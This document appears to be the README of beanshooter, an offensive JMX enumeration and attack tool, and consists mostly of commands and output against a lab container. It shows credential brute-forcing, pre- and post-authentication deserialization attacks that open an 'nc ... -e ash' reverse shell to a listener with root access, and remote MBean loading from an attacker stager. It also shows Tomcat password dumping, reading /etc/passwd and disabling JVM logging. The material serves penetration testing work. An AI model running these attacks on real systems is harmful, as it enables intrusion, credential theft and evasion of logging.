beanshooter is a JMX enumeration and attacking tool, which helps to identify common vulnerabilities on JMX endpoints.
beanshooter-v3-example.mp4
beanshooter is a maven project and installation should be straight forward. With maven
installed, just execute the following commands to create an executable .jar file:
[qtc@devbox ~]$ git clone https://github.com/qtc-de/beanshooter
[qtc@devbox ~]$ cd beanshooter
[qtc@devbox ~]$ mvn packageYou can also use prebuild packages that are created for each release. Prebuild packages for the development branch are created automatically and can be found on the GitHub actions page. Also a prebuild docker image for running beanshooter is available.
beanshooter does not include ysoserial as a dependency. To enable ysoserial support, you need either specify the path
to your ysoserial.jar file as additional argument (e.g. --yso /opt/ysoserial.jar) or you change the
default path within the beanshooter configuration file before building the project.
beanshooter supports autocompletion for bash. To take advantage of autocompletion, you need to have the
completion-helpers project installed. If setup correctly, just
copying the completion script to your ~/.bash_completion.d folder enables
autocompletion.
[qtc@devbox ~]$ cp resources/bash_completion.d/beanshooter ~/bash_completion.d/- Supported Operations
- JMXMP
- Jolokia Support
- Docker Image
- Example Server
The different beanshooter operations can be divided into two groups: basic operations and MBean operations. Whereas basic operations are used to perform general operations on a JMX endpoint, MBean operations target a specific MBean to interact with. For more details, check the usage examples in the following sections.
[qtc@devbox ~]$ beanshooter -h
usage: beanshooter [-h] ...
beanshooter v3.0.0 - a JMX enumeration and attacking tool
positional arguments:
Basic Operations
attr set or get MBean attributes
brute bruteforce JMX credentials
deploy deploys the specified MBean on the JMX server
enum enumerate the JMX service for common vulnerabilities
info display method and attribute information on an MBean
invoke invoke the specified method on the specified MBean
list list available MBEans on the remote MBean server
serial perform a deserialization attack
stager start a stager server to deliver MBeans
undeploy undeploys the specified MBEAN from the JMX server
MBean Operations
diagnostic Diagnostic Command MBean
hotspot HotSpot Diagnostic MBean
mlet default JMX bean that can be used to load additional beans dynamically
recorder jfr Flight Recorder MBean
tomcat tomcat MemoryUserDatabaseMBean used for user management
tonka general purpose bean for executing commands and uploading or download files
named arguments:
-h, --help show this help message and exitBasic operations are general purpose operations that can be performed on a JMX service. These are usually operations that do not target a specific MBean or that target an MBean with no builtin support by beanshooter.
The attr action can be used to get or set attributes on a specified MBean. To obtain available attributes,
the info action should be used:
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010
...
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()When just the attribute name is specified, beanshooter obtains and displays the current attribute value:
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
falseWhen an additional value is specified, beanshooter attempts to set the corresponding attribute. For attributes
that have a different type than String, specifying the attribute type using the --type option is required:
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
[qtc@devbox ~]$ beanshooter attr 172.17.0.2 9010 java.lang:type=Memory Verbose
trueThe brute action performs a bruteforce attack on a password protected JMX service. When running with no additional
optional arguments, beanshooter users a builtin wordlist with a few common username-password combinations. For more
dedicated attacks you should use the --username-file and --password-file options to specify more exhaustive wordlists.
[qtc@devbox ~]$ beanshooter brute 172.17.0.2 1090
[+] Reading wordlists for the brute action.
[+] Reading credentials from internal wordlist.
[+]
[+] Starting bruteforce attack with 10 credentials.
[+]
[+] Found valid credentials: admin:admin
[+] [10 / 10] [########################################] 100%
[+]
[+] done.The deploy action can be used to deploy an MBean on a JMX service. This action should not be used to deploy MBeans with
default support like e.g. the TonkaBean. Deploying MBeans with default support should be done through the corresponding
MBean operations.
When the MBean you want to deploy is already known to the JMX service, it is sufficient to specify the class name of the implementing
MBean class and the desired ObjectName:
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 javax.management.monitor.StringMonitor qtc.test:type=Monitor
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: StringMonitor
[+] MBean with object name qtc.test:type=Monitor was successfully deployed.When the MBean class is not known to the JMX service, you can use the --jar-file and --stager-url options to provide an implementation:
[qtc@devbox ~]$ beanshooter deploy 172.17.0.2 9010 non.existing.example.ExampleBean qtc.test:type=Example --jar-file exampleBean.jar --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: ExampleBean
[+]
[+] MBean class is not known to the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: non.existing.example.ExampleBean
[+] Archive: c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Object: qtc.test:type=Example
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /c65c3cdc908348d8bd9a22b8a2bf8be3
[+] Sending jar file with md5sum: c4d8f40d1c1ac7f3cf7582092802a484
[+]
[+] MBean with object name qtc.test:type=Example was successfully deployed.The enum action enumerates some configuration details on a JMX endpoint. It always checks whether the
JMX endpoints requires authentication and whether it allows pre authenticated arbitrary deserialization.
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server requires authentication.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer accepted the payload class.
[+] Configuration Status: Non DefaultWhen authentication is not required, or when valid credentials were specified, the enum action also attempts to
enumerate some further information from the JMX endpoint. This includes a list of non default MBeans and
e.g. the user accounts registered on a Apache tomcat server:
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 1090
[+] Checking for unauthorized access:
[+]
[+] - Remote MBean server does not require authentication.
[+] Vulnerability Status: Vulnerable
[+]
[+] Checking pre-auth deserialization behavior:
[+]
[+] - Remote MBeanServer rejected the payload class.
[+] Vulnerability Status: Non Vulnerable
[+]
[+] Checking available MBeans:
[+]
[+] - 57 MBeans are currently registred on the MBean server.
[+] Listing 39 non default MBeans:
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=Valve,host=localhost,name=AccessLogValve)
[+] - org.apache.tomcat.util.modeler.BaseModelMBean (Catalina:type=GlobalRequestProcessor,name="http-nio-8080")
[...]
[+]
[+] Enumerating tomcat users:
[+]
[+] - Listing 3 tomcat users:
[+]
[+] ----------------------------------------
[+] Username: manager
[+] Password: P@55w0rD#
[+] Roles:
[+] Users:type=Role,rolename="manager-gui",database=UserDatabase
[+] Users:type=Role,rolename="manager-script",database=UserDatabase
[+] Users:type=Role,rolename="manager-jmx",database=UserDatabase
[+] Users:type=Role,rolename="manager-status",database=UserDatabase
[+]
[+] ----------------------------------------
[+] Username: admin
[+] Password: s3cr3T!$
[+] Roles:
[+] Users:type=Role,rolename="admin-gui",database=UserDatabase
[+] Users:type=Role,rolename="admin-script",database=UserDatabase
[...]When invoking the enum action on a SASL protected endpoint, beanshooter attempts to enumerate the SASL profile
that is configured for the server. This is only possible to a certain extend and the TLS configuration of the server
cannot be enumerated. If the SASL profile identified by beanshooter does not work, you should always retry with/without
the --ssl option:
[qtc@devbox ~]$ beanshooter enum 172.17.0.2 4447 --jmxmp
[+] Checking servers SASL configuration:
[+]
[+] - Remote JMXMP server uses SASL/DIGEST-MD5 SASL profile.
[+] Credentials are requried and the following hostname must be used: iinsecure.example
[+] Notice: TLS setting cannot be enumerated and --ssl may be required.
[+] Vulnerability Status: Non Vulnerable
...The info action can be used to obtain method and attribute information of MBeans that are available on the MBean server.
When invoked without additional arguments, method and attribute information of all available MBeans is printed. When specifying
an additional ObjectName, only method and attribute information of the specified MBean is printed:
[qtc@devbox ~]$ beanshooter info 172.17.0.2 9010 java.lang:type=Memory
[+] MBean Class: sun.management.MemoryImpl
[+] ObjectName: java.lang:type=Memory
[+]
[+] Attributes:
[+] Verbose (type: boolean , writable: true)
[+] ObjectPendingFinalizationCount (type: int , writable: false)
[+] HeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] NonHeapMemoryUsage (type: javax.management.openmbean.CompositeData , writable: false)
[+] ObjectName (type: javax.management.ObjectName , writable: false)
[+]
[+] Operations:
[+] void gc()The invoke action can be used to invoke an arbitrary method on an MBean that has already been deployed on a JMX endpoint.
Apart from the endpoint, the invoke action requires the ObjectName of the targeted MBean and the method signature you
want to invoke. If the specified method expects arguments, these also have to be specified. The following listing shows an example,
of an argumentless method invocation, where the vmVersion() method from the DiagnosticCommand MBean is invoked:
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'vmVersion()'
OpenJDK 64-Bit Server VM version 11.0.14.1+1
JDK 11.0.14.1When invoking a method that requires parameters, the specified beanshooter arguments are evaluated as Java code. Simple argument
types like integers or strings can just be passed by specifying their corresponding value. Complex argument types can be constructed
as you would do it in Java (e.g. 'new java.util.HashMap()'). The following listing shows an example, where the help(String[] args)
method is invoked on the DiagnosticCommand MBean:
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 1090 com.sun.management:type=DiagnosticCommand --signature 'help(String[] args)' 'new String[] { "Compiler.directives_add" }'
Compiler.directives_add
Add compiler directives from file.
Impact: Low
Permission: java.lang.management.ManagementPermission(monitor)
Syntax : Compiler.directives_add <filename>
Arguments:
filename : Name of the directives file (STRING, no default value)For more complex argument types that require some initialization, you can use beanshooters PluginSystem and define a custom class that implements the IArgumentProvider Interface.
As outlined in beanshooters Jolokia documentation, almost all beanshooter actions can be used together
with the --jolokia switch to target Jolokia based JMX endpoints. Apart from this generic support for the Jolokia JMX
adapter, beanshooter supports one dedicated jolokia action. This action can be used to force an outbound connection of a
Jolokia agent running with proxy mode enabled:
[qtc@devbox ~]$ beanshooter jolokia 172.17.0.2 8080 172.17.0.1 4444 --username manager --password admin --ldap
[+] Attempting to trigger outboud connection to 172.17.0.1:4444
[+] Using proxy service URL: service:jmx:Rmi:///jndi/ldap://172.17.0.1:4444/beanshooter
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:60052.
0The same result could be achieved by invoking a regular beanshooter operation like list and using the --jolokia-proxy service:jmx:...
option. The jolokia action was added as a shortcut so you do not need to remember the JNDI syntax. When using the
jolokia action, the --jolokia option is assumed by default.
The list action prints a list of all registered MBeans on the remote JMX service:
[qtc@devbox ~]$ beanshooter list 172.17.0.2 9010
[+] Available MBeans:
[+]
[+] - sun.management.MemoryManagerImpl (java.lang:name=Metaspace Manager,type=MemoryManager)
[+] - sun.management.MemoryPoolImpl (java.lang:name=Metaspace,type=MemoryPool)
[+] - javax.management.MBeanServerDelegate (JMImplementation:type=MBeanServerDelegate)
[...]The model action is one of the most powerful beanshooter operations and implements a technique
identified by Markus Wulftange that allows you to invoke arbitrary
public and static Java methods. Moreover, public object methods can also be invoked on a user
created object instance. The only requirements are that the utilized method arguments and the provided
object instance (for non static methods) are serializable.
The following listing shows an example usage, where an File object is provided as object instance
and the String[] list() operation is invoked on it:
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
[+] Deploying RequiredModelMBean supporting methods from java.io.File
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - [Ljava.lang.String; list()
[...]
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new java.io.File("/")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
root
var
opt
srv
bin
mnt
dev
proc
etc
usr
lib
tmp
home
run
media
sbin
sys
.dockerenvThe setManagedResource method is always available and can be used to change the object instance to operate on:
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
passwd
shells
opt
modules
mtab
issue
inittab
hosts
...When invoking static methods, an object instance is also required. However, the actual class of the object instance does
not matter. E.g. if you want to invoke getProperties() from java.lang.System, you could also use a simple String
as object instance. Only the specified class name matters in this case:
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.lang.System '"does not matter"'
[+] Deploying RequiredModelMBean supporting methods from java.lang.System
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=1 was successfully deployed.
[+]
[+] Available Methods:
[+] - void runFinalization()
[+] - java.lang.String setProperty(java.lang.String, java.lang.String)
[+] - java.lang.String getProperty(java.lang.String)
[+] - java.lang.String getProperty(java.lang.String, java.lang.String)
[+] - long currentTimeMillis()
[+] - long nanoTime()
[+] - java.lang.SecurityManager getSecurityManager()
[+] - void loadLibrary(java.lang.String)
[+] - java.lang.String mapLibraryName(java.lang.String)
[+] - void load(java.lang.String)
[+] - java.lang.String lineSeparator()
[+] - java.io.Console console()
[+] - java.nio.channels.Channel inheritedChannel()
[+] - java.util.Properties getProperties()
[+] - void setProperties(java.util.Properties)
[+] - java.lang.String clearProperty(java.lang.String)
[+] - java.util.Map getenv()
[+] - java.lang.String getenv(java.lang.String)
[+] - void gc()
[+] - void wait()
[+] - java.lang.String toString()
[+] - int hashCode()
[+] - java.lang.Class getClass()
[+] - void notify()
[+] - void notifyAll()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: "does not matter"
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'getProperties()'
java.vm.info
--> mixed mode
java.runtime.version
--> 11.0.18+10-alpine-r0
sun.io.unicode.encoding
--> UnicodeLittle
...The model action uses reflection to determine available methods on the specified class. If you do not
have the class locally available, you can still use it by specifying available methods via the --signature
or --signature-file options. That being said, in order to get access to non default classes you need to
provide an object instance that is also not a default class (not present in rt.jar). This is required, as
the target class needs to be loaded by the same ClassLoader as the provided object instance. For beanshooters
example-server, javax.management.remote.message.VersionMessage is suitable, as this class is present
in opendmk_jmxremote_optional_jar which is present in the client as well as in the server. We can use
this as an object instance to invoke methods on other custom classes, like de.qtc.beanshooter.server.utils.Logger:
[qtc@devbox ~]$ beanshooter model 172.17.0.2 9010 de.qtc.beanshooter:version=0 de.qtc.beanshooter.server.utils.Logger 'new javax.management.remote.message.VersionMessage("test")' --signature 'String getIndent()'
[+] Deploying RequiredModelMBean supporting user specified methods
[+]
[+] Deplyoing MBean: RequiredModelMBean
[+] MBean with object name de.qtc.beanshooter:version=0 was successfully deployed.
[+]
[+] Available Methods:
[+] - String getIndent()
[+] - void setManagedResource(java.lang.Object, java.lang.String)
[+]
[+] Setting managed resource to: new javax.management.remote.message.VersionMessage("test")
[+] Managed resource was set successfully.
[qtc@devbox ~]$ beanshooter invoke 172.17.0.2 9010 de.qtc.beanshooter:version=0 --signature 'String getIndent()'
EMPTY OUTPUT - Just an Indent ;)If you want to know more about the technique that is implemented by the model action, I highly
recommend this blog post
by CODE WHITE which explains it in great detail.
The serial action can be used to perform deserialization attacks on a JMX endpoint. By default, the action
attempts post authenticated deserialization attacks. For this to work, you target JMX service needs either to
allow unauthenticated access or you need valid credentials:
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --username admin --password admin
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)JMX services can also be vulnerable to pre authenticated deserialization attacks. To abuse this, you can use the --preauth switch:
[qtc@devbox ~]$ beanshooter serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth
[+] Attemting deserialization attack on JMX endpoint.
[+]
[+] Creating ysoserial payload... done.
[+] MBeanServer attempted to deserialize the DeserializationCanary class.
[+] Deserialization attack was probably successful.
[qtc@devbox ~]$ nc -vlp 4444
[...]
id
uid=0(root) gid=0(root) groups=0(root)Against JMXMP endpoints, preauthenticated deserialization is usually possible. Unfortunately, there is no way to enumerate this properly
during the enum action. If you encounter a JMXMP endpoint, you should just give it a try.
The stager action starts a stager server that can be used to deliver MBeans. Creating a stager server
for MBean delivery is normally done automatically when using beanshooters deploy action. However,
sometimes it is required to use a standalone server. When using the stager action, you can either specify
the name of a builtin MBean to deliver (e.g. tonka) or the custom keyword. If custom was specified,
the --class-name, --object-name and --jar-file options are required.
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8888 --no-stager
[qtc@devbox ~]$ beanshooter stager 172.17.0.1 8888 tonka
[+] Creating HTTP server on: 172.17.0.1:8888
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /93691b8bae4143f087f7a3123641b20d
[+] Starting HTTP server.
[+]
[+] Press Enter to stop listening.
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 93691b8bae4143f087f7a3123641b20d
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8888
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /93691b8bae4143f087f7a3123641b20d
[+] Sending jar file with md5sum: 6568ffb2934cb978dbd141848b8b128aThe standard action deploys a StandardMBean that implements the TemplateImpl class to achieve
different targets. This technique was identified by Markus Wulftange
and beanshooter implements it to allow command execution, file upload and TonkaBean deployment.
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 exec 'nc 172.17.0.1 4444 -e ash'
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=3873612041699 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=3873612041699 from the MBeanServer.
[+] MBean was successfully removed.
...
[qtc@devbox ~]$ nc -vlp 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:40033.
id
uid=0(root) gid=0(root) groups=0(root)Command execution via the standard action is blind and you do not receive the output of your command.
Moreover, by default your command is passed to Runtime.exec(String str), which does not support special
shell features. If you want to use shell features, use the --exec-array option and specify your command
like this: 'sh -c echo "my cool command" > /tmp/test.txt'. With --exec-array, beanshooter splits the
specified command in three parts and passes them to Runtime.exec(String[] arr). However, it is generally
recommended to use the TonkaBean deployment for executing commands:
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 tonka
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4121868972140 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4121868972140 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka shell 172.17.0.2 9010
[[email protected] /]$ id
uid=0(root) gid=0(root) groups=0(root)The huge advantage compared to the regular tonka deploy action is that deployment via the StandardMBean
does not require an outbound network connection. If a direct deployment via standard ... tonka does not work,
you may be able to upload the TonkaBean Jar file and load it via MLet and the file:// protocol:
[qtc@devbox ~]$ beanshooter tonka export --stager-url file:///tmp/
[+] Exporting MBean jar file: ./tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: ./index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:/tmp/
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload tonka-bean-4.0.0-jar-with-dependencies.jar::/tmp/tonka-bean-4.0.0-jar-with-dependencies.jar
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4825542879735 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4825542879735 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter standard 172.17.0.2 9010 upload index.html::/tmp/index.html
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[+] Deplyoing MBean: StandardMBean
[+] MBean with object name de.qtc.beanshooter:standard=4836961801045 was successfully deployed.
[+]
[+] Caught NullPointerException while invoking the newTransformer action.
[+] This is expected bahavior and the attack most likely worked :)
[+]
[+] Removing MBean with ObjectName de.qtc.beanshooter:standard=4836961801045 from the MBeanServer.
[+] MBean was successfully removed.
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url file:///tmp/index.html
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known by the server.
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: MLet
[+] MBean with object name DefaultDomain:type=MLet was successfully deployed.
[+]
[+] Loading MBean from file:///tmp/index.html
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployed.If you want to know more about the technique that is implemented by the standard action, I highly
recommend this blog post
by CODE WHITE which explains it in great detail.
The undeploy action removes the MBean with the specified ObjectName from the JMX service:
[qtc@devbox ~]$ beanshooter undeploy 172.17.0.2 9010 qtc.test:type=Example
[+] Removing MBean with ObjectName qtc.test:type=Example from the MBeanServer.
[+] MBean was successfully removed.In contrast to basic operations that target the general functionality exposed by a JMX
endpoint, MBean operations target a specific MBean. For each supported MBean, beanshooter provides
another subparser containing the available operations and options for the corresponding MBean. The following
listing shows an example for the mlet MBean and the associated subparser:
[qtc@devbox ~]$ beanshooter mlet -h
usage: beanshooter mlet [-h] ...
positional arguments:
load load a new MBean from the specified URL
attr set or get MBean attributes
deploy deploys the specified MBean on the JMX server
info print server information about the MBean
invoke invoke the specified method on the MBean
stats print local information about the MBean
status checks whether the MBean is registered
undeploy undeploys the specified MBEAN from the JMX server
named arguments:
-h, --help show this help message and exitSome beanshooter operations are available for each MBean and are demonstrated in this section. These generic MBean operations often mirror functionality from the basic operations, but without the requirement of specifying an ObjectName.
The attr action works the same as the attr action from the basic operations. However, the ObjectName
does no longer need to be specified, as it is contained within the specified MBean.
[qtc@devbox ~]$ beanshooter tomcat attr 172.17.0.2 1090 users
Users:type=User,username="manager",database=UserDatabase
Users:type=User,username="admin",database=UserDatabase
Users:type=User,username="status",database=UserDatabaseThe deploy action works basically like the deploy action from the basic operations.
However, since the class name, ObjectName and the implementing jar file are all already associated with
the specified MBean, you only need to specify the --stager-url option with this action (assuming that
a builtin jar file is available):
[qtc@devbox ~]$ beanshooter tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000
[+] Starting MBean deployment.
[+]
[+] Deplyoing MBean: TonkaBean
[+]
[+] MBean class is not known to the server.
[+] Loading MBean from http://172.17.0.1:8000
[+]
[+] Creating HTTP server on: 172.17.0.1:8000
[+] Creating MLetHandler for endpoint: /
[+] Creating JarHandler for endpoint: /440441bf8c794d40a83caf1e34cd9993
[+] Starting HTTP server...
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /
[+] Sending mlet:
[+]
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: 440441bf8c794d40a83caf1e34cd9993
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: http://172.17.0.1:8000
[+]
[+] Incoming request from: iinsecure.example
[+] Requested resource: /440441bf8c794d40a83caf1e34cd9993
[+] Sending jar file with md5sum: 55a843002e13f763137d115ce4caf705
[+]
[+] MBean with object name MLetTonkaBean:name=TonkaBean,id=1 was successfully deployedFrom beanshooter v4.1.0 on, it is also possible to deploy the TonkaBean via the standard action.
Bean deployment via the standard action does not require outbound network connections from the target server.
Sometimes it is not possible to serve an MBean implementation using beanshooters stager server. A common scenario is that outbound connections to your local machine are blocked. In these situations, you may want to load the MBean from another location, like an SMB service in the internal network where you have write access to.
The export action exports the jar file implementing the specified MBean and a corresponding MLet HTML
document that is required for loading the MBean using MLet. Assuming you want to serve the TonkaBean
form an SMB service listening on 10.10.10.5, you could use the following command:
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+] Class: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Archive: tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Object: MLetTonkaBean:name=TonkaBean,id=1
[+] Codebase: file:////10.10.10.5/share/Afterwards, you can upload the exported jar and the index.html file to the SMB service and use the beanshooters
deploy action with the --stager-url file:////10.10.10.5/share/index.html option.
The info action lists method and attribute information of the specified MBean:
[qtc@devbox ~]$ beanshooter tomcat info 172.17.0.2 1090
[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean
[+] ObjectName: Users:type=UserDatabase,database=UserDatabase
[+]
[+] Attributes:
[+] modelerType (type: java.lang.String , writable: false)
[+] readonly (type: boolean , writable: false)
[+] roles (type: [Ljava.lang.String; , writable: false)
[+] groups (type: [Ljava.lang.String; , writable: false)
[+] users (type: [Ljava.lang.String; , writable: false)
[+] pathname (type: java.lang.String , writable: true)
[+] writable (type: null , writable: false)
[+]
[+] Operations:
[+] java.lang.String findGroup(java.lang.String groupname)
[+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)
[+] void removeGroup(java.lang.String groupname)
[+] void removeUser(java.lang.String username)
[+] void save()
[+] java.lang.String findRole(java.lang.String rolename)
[+] void removeRole(java.lang.String rolename)
[+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description)
[+] java.lang.String findUser(java.lang.String username)
[+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)The invoke action can be used to invoke an arbitrary method on the specified MBean:
[qtc@devbox ~]$ beanshooter tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
Users:type=User,username="admin",database=UserDatabaseThe stats action lists some general information on the specified MBean. This is the information
that beanshooters locally stores on the corresponding MBean and no server interaction is required.
[qtc@devbox ~]$ beanshooter tonka stats
[+] MBean: tonka
[+] Object Name: MLetTonkaBean:name=TonkaBean,id=1
[+] Class Name: de.qtc.beanshooter.tonkabean.TonkaBean
[+] Jar File: available (tonka-bean-3.0.0-jar-with-dependencies.jar)The Jar File information indicates whether an implementation of the corresponding MBean is builtin
into beanshooter. This jar file is used during deployment, if not overwritten using the --jar-file
option. Currently, the TonkaBean is the only MBean that has a Jar File available.
The status action checks whether the corresponding MBean is already available on the JMX service:
[qtc@devbox ~]$ beanshooter tonka status 172.17.0.2 9010
[+] MBean Status: not deployedThe undeploy action removes the specified MBean from a remote JMX service:
[qtc@devbox ~]$ beanshooter tonka undeploy 172.17.0.2 9010
[+] Removing MBean with ObjectName MLetTonkaBean:name=TonkaBean,id=1 from the MBeanServer.
[+] MBean was successfully removed.The DiagnosticCommandMBean is a useful MBean that is ofted deployed by default on JMX servers. It implements several different methods that are interesting from an offensive perspective. Some of them are implemented as beanshooter operations. Others can of course be invoked manually.
The read operation can be used to read textfiles on the MBean server. The operation uses the
addCompilerDirective method to cause an exception that contains the contents of the specified
text file:
[qtc@devbox ~]$ beanshooter diagnostic read 172.17.0.2 1090 /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...This technique was originally implemented by @TheLaluka within the jolokia-exploitation-toolkit.
The load operation can be used to load a shared library from the file system of the JMX server:
[qtc@devbox ~]$ beanshooter diagnostic load 172.17.0.2 1090 /lib/x86_64-linux-gnu/libc.so.6
[+] The server complained about the missing function Agent_OnAttach
[+] The specified library was loaded succesfully.The logfile action can be used to change the logfile location of the JVM:
[qtc@devbox ~]$ beanshooter diagnostic logfile 172.17.0.2 1090 /tmp/test.log
[+] Logfile path was successfully set to /tmp/test.logThe nolog action can be used to disable logging (useful to close the logfile handle):
[qtc@devbox ~]$ beanshooter diagnostic nolog 172.17.0.2 1090
[+] Logging was disabled successfully.The cmdline action prints the cmdline the JVM was launched with:
